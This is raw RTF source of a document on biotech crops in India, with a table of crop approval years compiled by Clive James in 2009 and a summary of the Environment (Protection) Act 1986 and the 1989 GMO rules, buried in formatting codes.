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\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth748\clshdrawnil \cellx1379\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clftsWidth2\clwWidth1760\clshdrawnil \cellx4876\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth2493\clshdrawnil \cellx9828\pard\plain \ltrpar
\s3\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid16345645\yts34 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid16345645\charrsid16345645 S. No.\cell Crop\cell Year of Approval\cell }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 
\af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \b\fs20\insrsid16345645\charrsid16345645 \trowd \irow0\irowband0\ltrrow\ts34\trqc\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 
\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
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\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth748\clshdrawnil \cellx1379\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clftsWidth2\clwWidth1760\clshdrawnil \cellx4876\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth2493\clshdrawnil \cellx9828\row \ltrrow}\pard\plain \ltrpar
\s3\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid16345645\yts34 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid16345645\charrsid16345645 1\cell Cotton \cell 1997\cell }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs24\alang1025 
\ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid16345645\charrsid16345645 \trowd \irow1\irowband1\ltrrow\ts34\trqc\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 
\trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
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\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth748\clshdrawnil \cellx1379\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clftsWidth2\clwWidth1760\clshdrawnil \cellx4876\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth2493\clshdrawnil \cellx9828\row \ltrrow}\pard\plain \ltrpar
\s3\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid16345645\yts34 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid16345645\charrsid16345645 2\cell Petunia \cell 1997\cell }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs24\alang1025 
\ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid16345645\charrsid16345645 \trowd \irow2\irowband2\ltrrow\ts34\trqc\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 
\trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
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\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth748\clshdrawnil \cellx1379\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clftsWidth2\clwWidth1760\clshdrawnil \cellx4876\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth2493\clshdrawnil \cellx9828\row \ltrrow}\pard\plain \ltrpar
\s3\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid16345645\yts34 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid16345645\charrsid16345645 3\cell Tomato \cell 1998\cell }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs24\alang1025 
\ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid16345645\charrsid16345645 \trowd \irow3\irowband3\ltrrow\ts34\trqc\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 
\trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
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\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth748\clshdrawnil \cellx1379\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clftsWidth2\clwWidth1760\clshdrawnil \cellx4876\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth2493\clshdrawnil \cellx9828\row \ltrrow}\pard\plain \ltrpar
\s3\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid16345645\yts34 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid16345645\charrsid16345645 4\cell Sweet pepper \cell 1998\cell }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 
\af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid16345645\charrsid16345645 \trowd \irow4\irowband4\ltrrow\ts34\trqc\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 
\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth2\trwWidth5000\trftsWidthB3\trftsWidthA3\trautofit1\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid8210603\tbllkhdrrows\tbllkhdrcols\tbllknocolband\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl
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\cltxlrtb\clftsWidth2\clwWidth1760\clshdrawnil \cellx4876\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth2493\clshdrawnil \cellx9828\row \ltrrow}\pard\plain \ltrpar
\s3\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid16345645\yts34 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid16345645\charrsid16345645 5\cell Poplar trees\cell 2003\cell }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 
\af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid16345645\charrsid16345645 \trowd \irow5\irowband5\ltrrow\ts34\trqc\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 
\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth2\trwWidth5000\trftsWidthB3\trftsWidthA3\trautofit1\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid8210603\tbllkhdrrows\tbllkhdrcols\tbllknocolband\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl
\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth748\clshdrawnil \cellx1379\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clftsWidth2\clwWidth1760\clshdrawnil \cellx4876\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth2493\clshdrawnil \cellx9828\row \ltrrow}\pard\plain \ltrpar
\s3\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid16345645\yts34 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid16345645\charrsid16345645 6\cell Papaya \cell 2006\cell }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 \af0\afs24\alang1025 
\ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid16345645\charrsid16345645 \trowd \irow6\irowband6\ltrrow\ts34\trqc\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 
\trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth2\trwWidth5000\trftsWidthB3\trftsWidthA3\trautofit1\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid8210603\tbllkhdrrows\tbllkhdrcols\tbllknocolband\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl
\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth748\clshdrawnil \cellx1379\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clftsWidth2\clwWidth1760\clshdrawnil \cellx4876\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth2493\clshdrawnil \cellx9828\row \ltrrow}\pard\plain \ltrpar
\s3\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid16345645\yts34 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid16345645\charrsid16345645 7\cell Rice (Bt)\cell 2009 (27 November)\cell }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 
\af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid16345645\charrsid16345645 \trowd \irow7\irowband7\ltrrow\ts34\trqc\trgaph108\trleft-108\trbrdrt\brdrs\brdrw10 
\trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth2\trwWidth5000\trftsWidthB3\trftsWidthA3\trautofit1\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid8210603\tbllkhdrrows\tbllkhdrcols\tbllknocolband\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl
\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth748\clshdrawnil \cellx1379\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clftsWidth2\clwWidth1760\clshdrawnil \cellx4876\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth2493\clshdrawnil \cellx9828\row \ltrrow}\pard\plain \ltrpar
\s3\ql \li0\ri0\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\pararsid16345645\yts34 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 \b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 
\af0\afs20 \ltrch\fcs0 \fs20\insrsid16345645\charrsid16345645 8\cell Maize (Phytase)\cell 2009 (27 November)\cell }\pard\plain \ltrpar\ql \li0\ri0\sa200\sl276\slmult1\widctlpar\intbl\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin0 \rtlch\fcs1 
\af0\afs24\alang1025 \ltrch\fcs0 \fs24\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \b\fs20\insrsid16345645\charrsid16345645 \trowd \irow8\irowband8\lastrow \ltrrow\ts34\trqc\trgaph108\trleft-108\trbrdrt
\brdrs\brdrw10 \trbrdrl\brdrs\brdrw10 \trbrdrb\brdrs\brdrw10 \trbrdrr\brdrs\brdrw10 \trbrdrh\brdrs\brdrw10 \trbrdrv\brdrs\brdrw10 
\trftsWidth2\trwWidth5000\trftsWidthB3\trftsWidthA3\trautofit1\trpaddl108\trpaddr108\trpaddfl3\trpaddft3\trpaddfb3\trpaddfr3\tblrsid8210603\tbllkhdrrows\tbllkhdrcols\tbllknocolband\tblind0\tblindtype3 \clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl
\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth748\clshdrawnil \cellx1379\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 
\cltxlrtb\clftsWidth2\clwWidth1760\clshdrawnil \cellx4876\clvertalt\clbrdrt\brdrs\brdrw10 \clbrdrl\brdrs\brdrw10 \clbrdrb\brdrs\brdrw10 \clbrdrr\brdrs\brdrw10 \cltxlrtb\clftsWidth2\clwWidth2493\clshdrawnil \cellx9828\row }\pard \ltrpar
\qr \fi720\li1440\ri0\sa200\widctlpar\wrapdefault\aspalpha\aspnum\faauto\adjustright\rin0\lin1440\itap0\pararsid8210603 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \b\fs20\insrsid16345645\charrsid16345645 (Source: Compiled by Clive James, 2009)}{\rtlch\fcs1 \af0 
\ltrch\fcs0 \b\insrsid16345645\charrsid16345645 
\par }\pard\plain \ltrpar\s3\ql \li0\ri0\sb240\sa240\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid803208 \rtlch\fcs1 \ab\af0\afs27\alang1025 \ltrch\fcs0 
\b\fs27\lang1033\langfe1033\cgrid\langnp1033\langfenp1033 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid803208\charrsid16345645 Biosafety}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid8210603 :}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid803208\charrsid16345645 
\par }\pard \ltrpar\s3\ql \fi-1440\li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid8210603 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid8210603       \tab }{\rtlch\fcs1 \ab0\af0\afs20 
\ltrch\fcs0 \fs20\insrsid803208\charrsid16345645 Genetically Modified Organisms (G}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \fs20\insrsid13370833\charrsid16345645 MOS}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \fs20\insrsid803208\charrsid16345645 ) }{
\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \fs20\insrsid8210603\charrsid16345645 and}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \fs20\insrsid803208\charrsid16345645  R-D}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \fs20\insrsid13370833\charrsid16345645 NA}{
\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \fs20\insrsid803208\charrsid16345645  Products Governed By
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \f1\fs20\insrsid803208\charrsid16345645 \loch\af1\dbch\af0\hich\f1 \&#039;95\tab}}\pard \ltrpar\s3\qj \fi-360\li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls34\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid803208 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid803208\charrsid16345645 Environment (Protection) Act, 1986
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f1\fs20\insrsid803208\charrsid16345645 \loch\af1\dbch\af0\hich\f1 \&#039;95\tab}}\pard \ltrpar\s3\qj \fi-360\li1440\ri0\widctlpar
\jclisttab\tx1440\wrapdefault\aspalpha\aspnum\faauto\ls34\ilvl1\outlinelevel2\adjustright\rin0\lin1440\itap0\pararsid803208 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid803208\charrsid16345645 Came into force from 23.05.1986
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \ab\af0\afs20 \ltrch\fcs0 \f1\fs20\insrsid803208\charrsid16345645 \loch\af1\dbch\af0\hich\f1 \&#039;95\tab}}\pard \ltrpar\s3\qj \fi-360\li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls34\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid803208 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid803208\charrsid16345645 Rules, 1989 on GMOs
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f1\fs20\insrsid803208\charrsid16345645 \loch\af1\dbch\af0\hich\f1 \&#039;95\tab}}\pard \ltrpar\s3\qj \fi-360\li1440\ri0\widctlpar
\jclisttab\tx1440\wrapdefault\aspalpha\aspnum\faauto\ls34\ilvl1\outlinelevel2\adjustright\rin0\lin1440\itap0\pararsid803208 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid803208\charrsid16345645 Notified on 05.12.1989
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f1\fs20\insrsid803208\charrsid16345645 \loch\af1\dbch\af0\hich\f1 \&#039;95\tab}Came into force from 01.10.1993
\par }\pard \ltrpar\s3\ql \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid803208 {\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid803208\charrsid16345645 The Indian Environment (Protection) Act (EPA)}{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid8210603\charrsid16345645 , 1986}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid803208\charrsid16345645 
\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f1\fs20\insrsid803208\charrsid16345645 \loch\af1\dbch\af0\hich\f1 \&#039;95\tab}}\pard \ltrpar\s3\ql \fi-360\li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls35\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid803208 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid803208\charrsid16345645 Provide protection and improvement of \&#039;93Environment\&#039;94.

\par {\listtext\pard\plain\ltrpar \s3 \rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \f1\fs20\insrsid803208\charrsid16345645 \loch\af1\dbch\af0\hich\f1 \&#039;95\tab}}\pard \ltrpar\s3\ql \fi-360\li720\ri0\widctlpar
\jclisttab\tx720\wrapdefault\aspalpha\aspnum\faauto\ls36\outlinelevel2\adjustright\rin0\lin720\itap0\pararsid803208 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid803208\charrsid16345645 \&#039;93Environment\&#039;94 includes water, air and land and the }{
\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid13370833\charrsid16345645 interrelationship,}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid803208\charrsid16345645 
 which exists among and between water, air and land, and human beings, other living creatures, plants, microorganism and property.
\par }\pard \ltrpar\s3\qc \li0\ri0\widctlpar\wrapdefault\aspalpha\aspnum\faauto\outlinelevel2\adjustright\rin0\lin0\itap0\pararsid7823806 {\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \fs20\insrsid803208 
\par }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \fs20\insrsid8210603 
\par 
\par 
\par }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \fs20\insrsid14288580\charrsid16345645 Table }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \fs20\insrsid8210603 4}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \fs20\insrsid14288580\charrsid16345645 : Status of field }{
\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \fs20\insrsid2765339\charrsid16345645 trials of biotech }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \fs20\insrsid14288580\charrsid16345645 crops}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\fs20\insrsid2765339\charrsid16345645  in India, }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \fs20\insrsid7823806 2}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \fs20\insrsid2765339\charrsid16345645 009}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\fs20\insrsid7823806 
\par }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid14108265\charrsid16345645 {\*\shppict{\pict{\*\picprop\shplid1033{\sp{\sn shapeType}{\sv 75}}{\sp{\sn fFlipH}{\sv 0}}
{\sp{\sn fFlipV}{\sv 0}}{\sp{\sn pictureBrightness}{\sv -11796}}{\sp{\sn pictureGray}{\sv 1}}{\sp{\sn pictureBiLevel}{\sv 1}}{\sp{\sn fRecolorFillAsPicture}{\sv 0}}{\sp{\sn fUseShapeAnchor}{\sv 0}}{\sp{\sn fLine}{\sv 0}}{\sp{\sn fLayoutInCell}{\sv 1}}
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\ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid2297020\charrsid16345645 \tab }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid1664844\charrsid16345645 Rules for the Manufacture, Use / Import / Export and Storage}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 
\fs20\insrsid4015505\charrsid16345645  }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid1664844\charrsid16345645 of Hazardous Microorganisms, Genetically}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4015505\charrsid16345645  }{\rtlch\fcs1 \af0\afs20 
\ltrch\fcs0 \fs20\insrsid1664844\charrsid16345645 Engineered}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid4015505\charrsid16345645  }{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid1664844\charrsid16345645 Organisms or Cells (Rules 1989)}{
\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid12008691  in India}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid1664844\charrsid16345645 
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\af0\afs20 \ltrch\fcs0 \fs20\insrsid4015505\charrsid16345645 Rules:}{\rtlch\fcs1 \af0\afs20 \ltrch\fcs0 \fs20\insrsid1664844\charrsid16345645 
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\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid929659\charrsid16345645 and Gene-technological products
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\b0\fs20\insrsid1664844\charrsid16345645 etc.}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid929659\charrsid16345645 
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, processing, storage, drawing off, packaging, repackaging of GMOs and drugs &amp; pharmaceuticals, food stuffs }{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 \b0\fs20\insrsid8210603\charrsid16345645 etc. from}{\rtlch\fcs1 \ab0\af0\afs20 \ltrch\fcs0 
\b0\fs20\insrsid1664844\charrsid16345645  GMOs and Gene technology products.
